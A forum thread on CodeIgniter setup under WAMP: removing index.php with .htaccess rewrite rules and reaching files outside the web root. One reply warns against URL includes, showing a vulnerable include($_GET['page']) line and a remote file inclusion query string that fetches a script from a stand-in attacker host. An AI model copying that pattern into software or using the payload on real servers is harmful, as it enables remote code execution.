Welcome Guest, Not a member yet? Register   Sign In
htaccess
#1

[eluser]vang163[/eluser]
hi,
i've searched the forum & it seems to me that this is the best file structure to adopt.
c:/wamp/www/CodeIgniter/system
c:/wamp/www/CodeIgniter/application/project1
c:/wamp/www/CodeIgniter/public_html/index.php, and .htaccess(this is a blank file)

OS: windows
browser: firefox
environment: WAMP

index.php
----------
$system_folder = "../system";
$application_folder = "c:/wamp/www/CodeIgniter/application/project1";

config.php
-----------
$config['base_url'] = "http://localhost/CodeIgniter/public_html";
$config['index_page'] = "index.php";
$config['uri_protocol'] = "AUTO";

router.php
-------------
$route['default_controller'] = "General";

I've setup as above and all is running ok.
Now i want to remove the index.php from the URL which i'm still having problem after much research on the forum. Any assistance/guidance is appreciated.
From http://localhost/CodeIgniter/public_html..._form.html
to http://localhost/CodeIgniter/public_html..._form.html

regards
#2

[eluser]Thorpe Obazee[/eluser]
have you checked the user_guide?
#3

[eluser]vang163[/eluser]
hi,
after another few hours of searching the forum, i solved it by:
- changing the httpd.conf in apache,
FROM #LoadModule rewrite_module modules/mod_rewrite.so
TO LoadModule rewrite_module modules/mod_rewrite.so

- input the following code in .htaccess
RewriteEngine on
RewriteCond $1 !^(index\.php|images|robots\.txt)
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php/$1 [QSA]
#4

[eluser]vang163[/eluser]
hi,
since i have my /system folder 1 level up of index.php, how can i access the php files?
i tried to use include, but CI doesn't seems to allow it.
Message: include() [function.include]: URL file-access is disabled in the server configuration
any alternative way to do this, thanks.
#5

[eluser]cahva[/eluser]
Never use http:// includes, they R evil! Smile Just use relative or absolute path to the script and it will work.
#6

[eluser]vang163[/eluser]
can you point me to the user guide where i can understand more on the relative path, thanks
#7

[eluser]cahva[/eluser]
Its not in the guide. Its universal Smile

For example in the config:

Code:
$system_folder = "../system";
$application_folder = "c:/wamp/www/CodeIgniter/application/project1";

$system_folder is assigned in this case with relative path and $application_folder with absolute path. Relative path is, well relative to the script that is using it Smile

Reason why you cant(well you can if you set allow_url_include to on) use include() function with URL is that its very unsecure and basicly hackers could execute harmful code in your server. For example this:
Code:
// This trusts input from user. No checkings whatsoever.
include($_GET['page']);
..would be a dream come true for hackers. They could just add "?page=http://evilhaxor.com/some_evil_haxorscript.txt" to the end of your script and it would be parsed with PHP from YOUR server.
This kind of unsecure coding can still be found on the internetsites and usually when hackers discover this kind of script, they will use exploits like this to send spam etc.
#8

[eluser]vang163[/eluser]
i have a html form, the form will be validate by this file located at ../system/plugins/validate.php
eg. action = "../system/plugins/validate.php"
in this way my directory structure will be visible to all when they see the html code.
this is what i'm trying to prevent by moving the /system folder up by 1 level above the web root.
i only know using include method which can't be use and better not to use it as you have explained above, is there another way to do it? To execute a file in the /system folder and not exposing the directory structure to the public? Many thanks for your patience and guidance.
#9

[eluser]Đaяк Đaηтє[/eluser]
Hello my Friend:

I had the same problem, but I've solved using .htaccess file, with the next content:

Code:
<IfModule mod_rewrite.c>  
     RewriteEngine on  
  
     RewriteCond %{REQUEST_FILENAME} !-f  
     RewriteCond %{REQUEST_FILENAME} !-d  
     RewriteRule ^(.*)$ index.php?/$1 [L]  
</IfModule>  
  
<IfModule !mod_rewrite.c>  
     ErrorDocument 404 /index.php  
</IfModule>

I save the .htaccess file in the root directory of my application, at the same level of the system folder.

If you need more information you can follow the next thread:
http://ellislab.com/forums/viewthread/121700/#603074

Greetings.
#10

[eluser]vang163[/eluser]
hi,
your solution to my initial problem had been solved it in post 2.
my new problem is in post 3 onwards, thanks.




Theme © iAndrew 2016 - Forum software by © MyBB